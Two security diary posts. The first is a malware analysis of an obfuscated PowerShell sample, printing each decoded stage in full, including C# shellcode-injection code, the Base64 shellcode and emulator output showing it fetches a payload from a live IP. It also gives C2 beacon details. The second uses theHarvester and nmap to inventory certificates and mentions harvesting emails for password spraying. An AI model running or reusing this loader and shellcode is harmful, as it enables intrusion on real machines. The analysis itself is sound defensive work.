Malicious PowerShell Compiling C# Code on the Fly
What I like when hunting is to discover how attackers are creative to find new ways to infect their victim’s computers. I came across a Powershell sample that looked new and interesting to me. First, let’s deobfuscate the classic way.
It started with a simple Powerscript command with a big Base64 encoded string:
$ cat step1.base64.txt JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByA G8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwArADIALwBpAFMAQgBMACsATwBmAHcAVg AzAGcAaABwAGcANQBKAGcARABJAFIASABSAGkATgBOAEcAegBBADIAWQBCADQARwBiAEUASQBVAG4AZABwADIAMgAyADUAbwB1AHgAMAAvAGUARwBSADI ALwB2AGQAcgBZADgASQB0AE0ANwB0ADcAMABwADAAbABDADMAZABSADkAVgBWADkAMQBkAFYAZABOAFUAZgBKADQAegB5AEoAcwBKAFcAbwAxAEUAYgBj AG8ANAA2AGkARwBOAE8AQQBxAHgAWQBLAHgAUwA1AFYARQB1ADQAcgA5ACsAMwAzAFEAaABIAEcATQBmAEoATgBjAHMAeQBXAHQANABXAGIATgBNAGEAQ ...stuff deleted... SwBGAHMAKwBaADIAdgBOAHoAegBFAFkAYgA3AGgARwA5AGMANgAxAFQAVgBIAEUAMgAyAGoAeAB1AHEATQBrAHkAZgArAHAAKwBkADAAVgBZADQAcABUA GUAaQB2AFYAQQA3AGcAZgAzAHkASABJAE0ANABsAHEAVgBlAHcAUwBSAG0ALwBxAEkARABTAEwANQBnAFAAMABIAHQAMgBkAFIAbgBRAHoALwBZAEEATw BzAGgAZgBBAE8AUABRADYAbwB5AFkAZwBnAEUAcQBNAE0AKwBnAFMAUwBLAFQAUABaAHYAdwBHAG8AYQBIAHoAMABzAFEAcwBBAEEAQQA9AD0AIgApACk AOwBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAg AEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8Ab gAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoAC kAOwA=
Once decoded, the result was a Unicode string containing more Powershell code. Let's decode this second stage:
$ cat step1.base64.txt | base64 -d | iconv -f utf-16 -t ascii >step2.txt.malicious $ cat step2.txt.malicious $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAKVW+2/iSBL+OfwV3ghpg5JgDIRHRiNNGzA2YB4GbEIUn dp2225oux0/eGR2/vdrY8ItM7t70p0lC3dR9VV91dVdNUfJ4zyJsJWo1Ebco46iGNOAqxYKxS5VEu4r9+33QhHGMfJNcsyWt4WbNMaBy82PcYL8L9fLsp YGCfZRWQkSFNFwjqIdtlDM1ALooziEFuJwsEFWwn0v3NyEqUmwxVmEueCcNLBO0ptXiUA3fuPOf6Mg9TlACLVgwsJbHEPEfec61PdxFmLlIFQqlQdOQzF zh06SKpNwP/4OS0U+jY7TiCYskIzwd653QFaaIA1B24hwkqPU/wFjwWhyz1yKA0aFUwIHB59m0vk5G3cJUfyQRsnd7RZFASK1atkm5LZ0AYwTRozhHljS AoaVTJOI03GUpJCceN+dZSQEth2hOH7IHdv7Of5A54VDrnN0EZ+Jlr78P+F0IgQTtPDYj/2fcPI1SFgRmSx9f4orgdY2D+6izGRRciFwEU9hxGqD+boYn 3wxFqe0/0kz96bY/yOTDNyAOJFoNGc1S9DEzCrxk40nw8AmLODT1tp7FROCY2TRwI5PHtl2/ijcfmOHw6J+iAmK2HaP0f4xx+FUbEU0pk5S7sw9GIXnnw 47W2wLdthGUaEYZmzja8Pz4ckUuzT7zdEvH5cMxZ/2ZQ05KEKBhWyQn06M4jLLrQYDF919u7s9Y2b5eOBep3Hu6q18Vj+WR+dSKZUuoH0UoIjtshLkJ4R FWVxEKSoU2ZalJDtsF+qfwX3iSRH15zSNLHR3hnvgLjdHqVB4FY8Jen17K+5g9C8ru26+cq8X4sEORcnb83OGIsIYNerZvRS4d7f8BA8Ae16UgKj2YIsF Zc9elb1LXFNot2kPBxuZV61OPO1LLYD37t5qjYHl4JY0WDG9Ga4oLWB3RjMZS3tZGwJbZDL3BQuuC+zpZtrzR2MlFoUzTm5v1evyqgJqtfqkVtnaaJDpb 4E99vH+MGLfFrAnI5HZVRTSG3Q006hKa4PIfF3yHIPG80Z9bcP+E7GBSO0qSaGu0YVs+SLP6w1weg68YK909sJuaCDo8ALyt9kfxoc8WOrSOxAkDY5iEQ Bxsex7K7zm+3xbnzVe9kxLNFlO5hCAI1W0+ZIMFksi0oawTCfMB7Zgdy+I1O2qACiBC11tBr22AWW9H1CTF/TWyT/ctRe67yai5zX5tiHtwX3v6PYA6Mq 856wrohI8NfaEvscrvHIyXIlqcwmp7Ft12ivo2prO/CaC43aY390e7FhwT4faUjakboh49nzIfGPdYzy64XHGsCfeLhOPhPV2ZvRAH1dqUsvx45Y81dy1 6XhglTZXabCWd+5ithbqgeWCQ7OxvPf7M7+JZodOezR0hvJHVzBGAjmGphgL/Khtd17qSlvnZ/7Q3/Z36WDbva/VyEzUrap+HC2lYG08VSZYHJu1MDT7B 2/0sUzVDqAv1XZi9aUKNAbxehG7C3080ObgabQBTUWyQ9PXdnZNdRdk5o5x/TA5iquFYFXH3djV5UG47uup3WkJJ/3eYDpfLp8mFX2iVZSwO6Ogvtmsg4 nTDwa7TbUf8rvAiJL2aIN5z58IYdu05N3clmcvcl2SNway3rcDL5CHZk++P8Zq/YiTwzgE+kzTYFvvdF+actKJRp1mdWf1KnuoiA55soa9rdpMDirbatl ujQfJskfxezgdTjvzhek2uz7o+YFmkCGG00GQrqdHBYvTvjCHaCEQd3DfSD9iL5lhayz5H4FHGayj4K2jeO+1lbKxXzS9ee91tnjZ6dURMfxeUziIH6Fs iZQ0K8P903i6OABdMTHcqzWlYRt+6PdoXa4OARwteLW2CQ7x+37hAjjtCJSwWjRCwOp4xmqashcAyabGUFs8sRrbNrf5abGJtqwHgV51gcKWS2FNeyEc1 He87lli5UBjGVgTdsZXxFCnFDs1VnfqYbRRjmqnXhnP64fxopdjzb5+vWX3UtFMHed0k7/mg0k5m0PYVXTVf9l4cbm4yiMUuInH3XPCw5XR/XX/ZRifI8 mjOYn+i2o+zvwE+POgwvR+HlRKBexwd68ipeTttzOZEptICjdFl1ATkufL3V37wqQRSlLWCws/Cq//PLOVVRjFHiSn2MLj3YX/A5dlI/f0a1pKhde8n75 xxeTUr39N7dUsUbnGy5eVa1o5UCmbDn9h1bxmdW5V1V+9/lXrPyP/lPZsAGAGn0NdqfA7a/pKFs+Z2vNzzEYb7hG9c61TVHE22jxuqMkyf+p+d0VY4pTe ivVA7gf3yHIM4lqVewSRm/qIDSL5gP0Ht2dRnQz/YAOshfAOPQ6oyYggEqMM+gSSKTPZvwGoaHz0sQsAAA==")); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
The script contains another Base64 + Gzipped string. Let’s decode it in the same way:
$ echo -n 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 6oyYggEqMM+gSSKTPZvwGoaHz0sQsAAA== | base64 -d | gzip -d -c - >step3.txt.malicious
Finally, we have this Powerpoint code which looks much more interesting:
$ cat -n step3.txt.malicious 1 Set-StrictMode -Version 2 2 3 $DoIt = @' 4 $assembly = @" 5 using System; 6 using System.Runtime.InteropServices; 7 namespace inject { 8 public class func { 9 [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } 10 [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } 11 [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } 12 [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 13 [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 14 [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); 15 } 16 } 17 "@ 18 19 $compiler = New-Object Microsoft.CSharp.CSharpCodeProvider 20 $params = New-Object System.CodeDom.Compiler.CompilerParameters 21 $params.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location)) 22 $params.GenerateInMemory = $True 23 $result = $compiler.CompileAssemblyFromSource($params, $assembly) 24 25 [Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAc fi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4F hfWosS64ZdaG5ldABod2luaVRoT HcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAInga gRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe//// zH/6ZEBAADpyQEAAOhv////L1ZkQWEAGi03F8fms8HPRgZbfhAXu7XunZHvgTQZ14ncgAx76U+mGQm7eQxC9LKfKHzD1WL1lypbBs1/L9dCY4I9V/QmKmkGvuJkD +33lQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjA7IEJPSUU5O 0VOR0IpDQoA4jjZnOfGnJvj2Gp/vnWrt9Lji/hmO1p9bcHvSdHQYH4FHjWecqkJhnHKbEH+ysM4yitxNpAVQRRa9VCDY7HtCrLC72vcE0waIBfl5cKEkM7txMQah Hd8NJtUEoiqpPKPCSTbg7DmAEmnRWlKiaPJnuZPyIiBPG1SaeT1lgJ+6uzshtQicNFmznhoBflfIikfIhq3XIjdYRV7+hCkiUCE4elWmE71xBzpHcBol70Kw5NPT xAVIbiawM3I6dWmpmEo4H2KAaLT/M3jnxsqwTgAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFw HXlWMPoif3//zMxLjIyMC40NS4xNTEAAAAAAQ==") 26 27 $buffer = [inject.func]::VirtualAlloc(0, $var_code.Length + 1, [inject.func+AllocationType]::Reserve -bOr [inject.func+AllocationType]::Commit, [inject.func+MemoryProtection]::ExecuteReadWrite) 28 if ([Bool]!$buffer) { 29 $global:result = 3; 30 return 31 } 32 [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $buffer, $var_code.Length) 33 [IntPtr] $thread = [inject.func]::CreateThread(0, 0, $buffer, 0, 0, 0) 34 if ([Bool]!$thread) { 35 $global:result = 7; 36 return 37 } 38 $result2 = [inject.func]::WaitForSingleObject($thread, [inject.func+Time]::Infinite) 39 '@ 40 41 If ([IntPtr]::size -eq 8) { 42 start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job 43 } 44 else { 45 IEX $DoIt 46 }
What does this script do? The most interesting part is between lines 4 & 23. Powershell is a wonderful tool and is able to dynamically compile C# code. The variable $result contains bytes for the compiled assembly to be loaded at a later time. This is performed via the Microsoft.CSharp.CSharpCodeProvider[1]. The C# code to be compiled is:
using System; using System.Runtime.InteropServices; namespace inject { public class func { [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); } }
While debugging the malicious Powershell, you can find the compiler generated files in %TEMP%. Here is the command line generated to compile the code:
C:\Users\REM\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:"C:\Users\REM\AppData\Local\Temp\wksk3kir.dll" /debug- /optimize+ "C:\Users\REM\AppData\Local\Temp\wksk3kir.0.cs"
It compiles a DLL file (SHA256: 82fbc7a7c75a559e004a9a4f96e1ae1c8d99586b465f391cc547d4977720f858)
At line 25, the shellcode is injected in the Powershell process via the DLL ‘inject’ namespace using the common system calls VirtualAlloc(). Then the memory protection is changed to ‘ExecuteReadWrite’. Finally, a new threat is created at line 33.
Let’s decode the shellcode now:
$ echo -n '/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc 8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAA AWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+E ygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L1ZkQWEAGi03F8fms8HPRgZbf hAXu7XunZHvgTQZ14ncgAx76U+mGQm7eQxC9LKfKHzD1WL1lypbBs1/L9dCY4I9V/QmKmkGvuJkD+33lQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZT sgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjA7IEJPSUU5O0VOR0IpDQoA4jjZnOfGnJvj2Gp/vnWrt9Lji/hmO1p9bcHvSdHQYH4FHjW ecqkJhnHKbEH+ysM4yitxNpAVQRRa9VCDY7HtCrLC72vcE0waIBfl5cKEkM7txMQahHd8NJtUEoiqpPKPCSTbg7DmAEmnRWlKiaPJnuZPyIiBPG1SaeT1lgJ+6uzshtQi cNFmznhoBflfIikfIhq3XIjdYRV7+hCkiUCE4elWmE71xBzpHcBol70Kw5NPTxAVIbiawM3I6dWmpmEo4H2KAaLT/M3jnxsqwTgAaPC1olb/1WpAaAAQAABoAABAAFdoW KRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zMxLjIyMC40NS4xNTEAAAAAAQ==‘ | base64 -d >shellcode.malicious
We can find basic information in strings contained in the shellcode but thanks to Didier’s last diary[2], let's see what the shellcode is doing:
C:\Users\REM\Desktop\VS_LIBEMU-master>scdbg.exe -s -1 -f shellcode.malicious Loaded 343 bytes from file shellcode.malicious Initialization Complete.. Max Steps: -1 Using base offset: 0x401000 4010a2 LoadLibraryA(wininet) 4010b5 InternetOpenA() 4010d1 InternetConnectA(server: 31.220.45.151, port: 443, ) 4010ed HttpOpenRequestA(path: /VdAa, ) 401106 InternetSetOptionA(h=4893, opt=1f, buf=12fdec, blen=4) 401116 HttpSendRequestA(User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB), ) 401138 GetDesktopWindow() 401147 InternetErrorDlg(11223344, 4893, 401138, 7, 0) 401303 VirtualAlloc(base=0 , sz=400000) = 600000 40131e InternetReadFile(4893, buf: 600000, size: 2000)
Let’s execute it in a sandbox. The following behaviour can be observed:
It grabs a new payload from hxxps://31[.]220[.]45[.]151/VdAa
The file is detected as raw data and is probably XOR’d (SHA256: 6d808d2ff7752bea43216fef7e3d52dac098ad260824b852f78bb1604479938a). I did not try to decode it, I just uploaded it to my sandbox lab to be delivered when the shellcode requests it. It was decoded and started beaconing to its C2 via the following URL exactly every 60 seconds: hxxps://31[.]220[.]45[.]151/visit.js
GET /visit.js Host: 31.220.45.151 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727) Accept: */* Cookie: NQhe1f6S55pxptY3TRq8iTRPOQml+VURG4YO0fSCi+DaqYrApfX0TEZu3xihxlAESVliCHzyBr84U1KiOIHeADfmfY7mdBbCEcXX+xHarM7+YooAHzAm4/k3YIBxJ6yo09nFBHpAi5uwC1H/wGaiDGozMF6XJoawxmyz6qMigVQ= HTTP/1.1 200 OK Content-Type: application/octet-stream Date: Tue, 4 Sep 2018 13:16:34 GMT Content-Length: 0
The result was empty but I presume that the C2 should return some commands at a certain time. I started the following loop as a simple honeypot:
while true do curl --header "Cookie: NQhe1f6S55pxptY3TRq8iTRPOQml+VURG4YO0fSCi+DaqYrApfX0TEZu3xihxlAESVliCHzyBr84U1KiOIHeADfmfY7mdBbCEcXX+xHarM7+YooAHzAm4/k3YIBxJ6yo09nFB HpAi5uwC1H/wGaiDGozMF6XJoawxmyz6qMigVQ=" -k -A 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)' hxxps://31[.]220[.]45[.]151/visit.js sleep 60 echo -n "===; date done
Until now, no command was received from the C2...
[1] https://docs.microsoft.com/en-us/dotnet/api/microsoft.csharp.csharpcodeprovider?view=netframework-4.7.2
[2] https://isc.sans.edu/forums/diary/Another+quickie+Using+scdbg+to+analyze+shellcode/24058/
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Where have all my Certificates gone? (And when do they expire?)
Recently I had a client that was trying to "rein in" their wildcard certificate usage. They had given the same wildcard to their developers, their infrastructure team, security team, everyone really.
The *business* problem was that it's due to expire in a few weeks, and nobody had a complete list of the public sites that were using it. Plus nobody knew if there were other hosts out there, using individually purchased certificates.
Easy to solve you say? Sure, if you had a list of all of the public subnets they use - I could easily figure out what they own from arin.net, but not all the subnet address space they were "borrowing" from their various ISPs. Let alone what all they had running in Azure, AWS and a few other clouds.
So, after the obvious list (which they already had), I started the fun part.
First, I went to arin.net and got their actual subnets.
Then I ran theharvester (it's part of Kali) to find the *other* bits and pieces of infrastructure that might be in play.
Theharvester is a nice open source intelligence tool starts with various search
First, let's run the tool - command line options are:
root@kali:~# theharvester
*******************************************************************
* *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* TheHarvester Ver. 2.2a *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.com *
*******************************************************************
Usage: theharvester options
-d: Domain to search or company name
-b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,people123,jigsaw,all)
-s: Start in result number X (default 0)
-v: Verify host name via dns resolution and search for virtual hosts
-f: Save the results into an HTML and XML file
-n: Perform a DNS reverse query on all ranges discovered
-c: Perform a DNS brute force for the domain name
-t: Perform a DNS TLD expansion discovery
-e: Use this DNS server
-l: Limit the number of results to work with(bing goes from 50 to 50 results,
-h: use SHODAN database to query discovered hosts
google 100 to 100, and pgp doesn't use this option)
Examples: theharvester -d microsoft.com -l 500 -b google
theharvester -d microsoft.com -b pgp
theharvester -d microsoft -l 200 -b linkedin
Narrowing it down, let's pull just the hostnames, and dump them to a file.
theharvester -d customerdomain.com -l 500 -b bing -v -n | grep -v \@ | sed s"\t"/":"/g | cut -d ":" -f 2 | sort | uniq > domainhosts.in
Disecting the line above:
we're using bing, mostly because google is being picky about me having an API key today :-)
"grep -v \@" filters out all the email addresses we found
"sed s"\t"/":"/g" replaces all the tab characters with colons (we need this for the next filter)
"cut -d ":" -f 2" says "give me just column two, using colons as a separator
The "sort" and "uniq" of course in combination filters out duplicate entries
Now we can assess the certicate in use on each host - the goal here is to collect the certificate in use on each site and the expiry date.
NMAP does a decent job on this:
nmap -p443 --open -iL domainhosts.in --script ssl-cert.nse | findstr "report after"
This assesses the certificates on each host, then reports back with the hostname being assessed and the expiry date of it's certificate. I'm only checking port 443, but you can easily expand that of course - running it for the default port list or even all ports can often yield good results in a pentest of security assessment for instance.
If for instance the domainhosts.in file looks like this:
isc.sans.org
www.giac.org
www.sans.org
The output will be just the data we're looking for:
Nmap scan report for isc.sans.org (204.51.94.153)
| Not valid after: 2018-11-07T22:22:01
Nmap scan report for www.giac.org (204.51.94.204)
| Not valid after: 2019-10-25T23:59:59
Nmap scan report for www.sans.org (45.60.103.34)
| Not valid after: 2019-05-31T12:28:05
What other uses does theharvester have? If you are pentesting a client, it makes a nice collection engine to "find" internet-facing customer assets that maybe they didn't know they have, or maybe aren't protecting as well as they should (dev servers, every time). It also makes a nice "quick and dirty" tool to collect a baseline of email addresses for things like password spray attacks.
===============
Rob VandenBrink
Compugen
Comments